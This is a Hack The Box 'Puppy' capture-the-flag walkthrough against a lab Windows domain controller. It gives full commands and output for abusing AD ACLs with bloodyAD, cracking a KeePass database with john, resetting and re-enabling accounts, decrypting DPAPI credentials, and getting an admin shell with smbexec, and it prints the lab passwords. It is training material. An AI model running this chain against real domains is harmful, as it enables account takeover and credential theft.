HTB - Puppy
in this assume breach scenario, we will add levi.james to the developer group so that we can have access to an encrypted keepass database located in the DEV share, after bruteforcing the database's passwrod, we will open the database and get Ant.Edward's passwrod, from there we will change adam.silver's passwrod and connect to the domain controller to get the user flag. next, with some file enumeration we can find Steph.Cooper's password inside a zip backup file. and finally by pivoting to Steph.Cooper, we can get Steph.Cooper_adm's password from DPAPI credentials and connect to the box to retrieve the root flag.
DEV - Access Denied
from the nmap scan results, we can see that our target is a windows domain controller with the usual services running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-30 08:31:43Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open status 1 (RPC #100024)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
inspecting the smb shares, we can see a folder called DEV is shared, however levi.james is not allowed access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(python-env) deb@debian:~/rexkyris$ smbclient.py puppy/levi.james:'KingofAkron2025!'@10.10.11.70
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# shares
ADMIN$
C$
DEV
IPC$
NETLOGON
SYSVOL
# cd DEV
[-] No share selected
# use DEV
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
# exit
(python-env) deb@debian:~/rexkyris$
Ant.Edwards - KeePass Database
inspecting the members of the hrgroup, we can see that levi.james is in there
1
2
3
4
5
(python-env) deb@debian:~/rexkyris$ bloodyAD -u levi.james -p 'KingofAkron2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object hr --attr member
distinguishedName: CN=HR,DC=PUPPY,DC=HTB
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB
(python-env) deb@debian:~/rexkyris$
and members of hr have Write Property permission on the developer group as we can see below
1
2
3
4
5
6
7
8
9
10
(python-env) deb@debian:~/rexkyris$ bloodyAD -u levi.james -p 'KingofAkron2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object developers --resolve-sd
.
.
nTSecurityDescriptor.ACL.2.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.2.Trustee: HR
nTSecurityDescriptor.ACL.2.Right: GENERIC_EXECUTE|WRITE_PROP|READ_PROP
nTSecurityDescriptor.ACL.2.ObjectType: Self
.
.
(python-env) deb@debian:~/rexkyris$
to access the DEV folder we discovrered above, we will add levi.james to the developer group using the genericwrite permission that hr has over the developer group.
1
2
3
(python-env) deb@debian:~/rexkyris$ bloodyAD -u levi.james -p 'KingofAkron2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 add groupMember developers levi.james
[+] levi.james added to developers
(python-env) deb@debian:~/rexkyris$
inspecting the DEV folder, a keepass database called recovery.kdbx is found.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
(python-env) deb@debian:~/rexkyris$ smbclient.py puppy/levi.james:'KingofAkron2025!'@10.10.11.70
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use DEV
# ls
drw-rw-rw- 0 Sun Jun 1 09:45:43 2025 .
drw-rw-rw- 0 Sat Mar 8 17:52:57 2025 ..
-rw-rw-rw- 34394112 Sun Mar 23 08:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw- 0 Sun Mar 9 21:16:16 2025 Projects
-rw-rw-rw- 2677 Wed Mar 12 03:25:46 2025 recovery.kdbx
# get recovery.kdbx
# exit
(python-env) deb@debian:~/rexkyris$
this databse is encrypted, we need to convert it to a hash that can be cracked, we will use keepass2john for that.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bed@debian:~/rexkyris$ ~/Downloads/john/john-bleeding-jumbo/run/keepass2john recovery.kdbx | grep -o "$keepass$.*" > hash.txt
bed@debian:~/rexkyris$ cat hash.txt
$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9
bed@debian:~/rexkyris$ ~/Downloads/john/john-bleeding-jumbo/run/john --format=keepass --wordlist=rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Failed to use huge pages (not pre-allocated via sysctl? that's fine)
liverpool (?)
1g 0:00:00:24 DONE (2025-06-01 01:02) 0.04151g/s 1.494p/s 1.494c/s 1.494C/s purple..liverpool
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
bed@debian:~/rexkyris$
now we will use the password to open the recovery.kdbx database and get ant.edwards’s domain password
we can validate this password with nxc
1
2
3
4
deb@debian:~/rexkyris$ nxc smb 10.10.11.70 -u ant.edwards -p 'Antman2025!'
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
deb@debian:~/rexkyris$
Adam.Silver - FullControl
members of senior devs have GENERIC_ALL over adam.silver user as we can see below
1
2
3
4
5
6
7
8
9
10
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object adam.silver --resolve-sd
.
.
nTSecurityDescriptor.ACL.6.Type: == ALLOWED ==
nTSecurityDescriptor.ACL.6.Trustee: LOCAL_SYSTEM; SENIOR DEVS
nTSecurityDescriptor.ACL.6.Right: GENERIC_ALL
nTSecurityDescriptor.ACL.6.ObjectType: Self
.
.
(python-env) deb@debian:~/rexkyris$
and ant.edwards is a member of senior devs group
1
2
3
4
5
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object "SENIOR DEVS" --attr member
distinguishedName: CN=SENIOR DEVS,CN=Builtin,DC=PUPPY,DC=HTB
member: CN=Anthony J. Edwards,DC=PUPPY,DC=HTB
(python-env) deb@debian:~/rexkyris$
with GenericAll right, we can change adam.silver’s password
1
2
3
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 set password adam.silver 'P@ssw0rd!123'
[+] Password changed successfully!
(python-env) deb@debian:~/rexkyris$
Steph.Cooper - nms-auth-config.xml.bak
adam.silver is a member of the remote management users group and this user is disabled.
1
2
3
4
5
6
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 get object adam.silver --attr memberof,userAccountControl
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
memberOf: CN=DEVELOPERS,DC=PUPPY,DC=HTB; CN=Remote Management Users,CN=Builtin,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
(python-env) deb@debian:~/rexkyris$
using ant.edwards, we will remove the ACCOUNTDISABLE flag for adam.silver because ant.edwards has GenericAll over adam.silver
1
2
3
(python-env) deb@debian:~/rexkyris$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy --host dc.puppy.htb --dc-ip 10.10.11.70 remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
(python-env) deb@debian:~/rexkyris$
we can access the domain controller using evil-winrm and get the first flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
deb@debian:~/rexkyris$ evil-winrm -i 10.10.11.70 -u adam.silver -p 'P@ssw0rd!123'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents> ls ~/Desktop
Directory: C:\Users\adam.silver\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/28/2025 12:31 PM 2312 Microsoft Edge.lnk
-ar--- 5/30/2025 11:08 AM 34 user.txt
*Evil-WinRM* PS C:\Users\adam.silver\Documents> exit
Info: Exiting with code 0
deb@debian:~/rexkyris$
a backup file called site-backup-2024-12-30.zip located in C:\backup contains Steph.Cooper’s password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\backups> Expand-Archive -Path site-backup-2024-12-30.zip
*Evil-WinRM* PS C:\backups> ls
Directory: C:\backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/1/2025 2:47 AM site-backup-2024-12-30
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
*Evil-WinRM* PS C:\backups>
the password is in nms-auth-config.xml.bak file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
*Evil-WinRM* PS C:\backups\site-backup-2024-12-30\puppy> cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
*Evil-WinRM* PS C:\backups\site-backup-2024-12-30\puppy> exit
Info: Exiting with code 0
deb@debian:~/rexkyris$
Steph.Cooper_adm - DPAPI
using winrm we will login to the domain controller as Steph.Cooper and download the master key and the credential file found under C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> and C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> download 556a2412-1275-4ccf-b721-e6a0b4f90407
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 to 556a2412-1275-4ccf-b721-e6a0b4f90407
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
rescue EstandardError => err
^^^^^^^^^^^^^^
Did you mean? StandardError
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> ls -force
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> download C8D69EBE9A43E9DEBF6B5FBD48B521B9
Info: Downloading C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 to C8D69EBE9A43E9DEBF6B5FBD48B521B9
Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError
rescue EstandardError => err
^^^^^^^^^^^^^^
Did you mean? StandardError
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials>
with cooper’s password, we can decrypt the master key using dpapi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(python-env) deb@debian:~/rexkyris$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
(python-env) deb@debian:~/rexkyris$
now we can decrypt the credential file using the decrypted master key and after decryption we will get steph.cooper_adm’s password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(python-env) deb@debian:~/rexkyris$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
(python-env) deb@debian:~/rexkyris$
finally, the user steph.cooper_adm is an administrator, by using smbexec, we can connect to the domain controller and retrieve the root flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(python-env) deb@debian:~/rexkyris$ smbexec.py puppy.htb/steph.cooper_adm:'FivethChipOnItsWay2025!'@10.10.11.70
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>dir c:\users\administrator\desktop
Volume in drive C has no label.
Volume Serial Number is 311D-593C
Directory of c:\users\administrator\desktop
05/12/2025 07:34 PM <DIR> .
03/11/2025 09:14 PM <DIR> ..
05/30/2025 11:08 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 5,771,374,592 bytes free
C:\Windows\system32>exit
(python-env) deb@debian:~/rexkyris$
